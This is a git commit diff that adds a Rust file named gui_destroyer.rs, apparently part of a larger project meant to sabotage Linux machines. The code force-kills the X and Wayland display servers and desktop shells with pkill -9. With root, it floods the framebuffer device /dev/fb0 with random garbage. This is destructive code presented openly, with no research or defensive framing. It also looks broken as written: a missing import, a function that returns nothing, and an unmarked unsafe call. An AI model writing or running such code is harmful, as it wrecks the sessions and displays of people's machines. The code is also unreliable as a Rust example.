diff options
| author | Namilskyy <alive6863@gmail.com> | 2025-10-29 00:17:37 +0300 |
|---|---|---|
| committer | Namilskyy <alive6863@gmail.com> | 2025-10-29 00:18:11 +0300 |
| commit | 6833ea062f264ff35773f23f6f68b293b4cfec34 (patch) | |
| tree | 94729c4364bc1a304e295b31cae89dca0b845832 /src/non_critical/gui_destroyer.rs | |
| parent | d7c64d28e1bb3a9e8f563704128593da80b9f0a7 (diff) | |
Implemented some not critical functions.
Diffstat (limited to 'src/non_critical/gui_destroyer.rs')
| -rw-r--r-- | src/non_critical/gui_destroyer.rs | 34 |
1 files changed, 34 insertions, 0 deletions
diff --git a/src/non_critical/gui_destroyer.rs b/src/non_critical/gui_destroyer.rs new file mode 100644 index 0000000..a7d1c75 --- /dev/null +++ b/src/non_critical/gui_destroyer.rs @@ -0,0 +1,34 @@ +#![no_main] +use std::process; +use std::io::Error; +use rand::{Rng, thread_rng}; + +extern "C" { + fn check_root() -> i32; +} + +// Pfff its to light for this project, but why not +fn artifacts_and_kill(root: bool) -> Result<(), std::io::Error> { + std::process::Command::new("pkill") + .args(&["-9", "Xorg", "xinit", "gnome-shell", "kwin_wayland", "plasmashell"]) + //TODO: Add more process names of the processes you want to kill + .spawn().unwrap(); + + if root == true && let Ok(fb) = std::fs::File::create("/dev/fb0"){ + let mut rng = rand::thread_rng(); + for _ in 0..1000 { + let garbage: Vec<u8> = (0..1024).map(|_| rng.gen()).collect(); + let _ = fb.write(&garbage); + } + } +} + + +fn init() -> Result<(), std::io::Error> { + if check_root() == 0 { + artifacts_and_kill(true) + } else { + artifacts_and_kill(false) + } +} + |
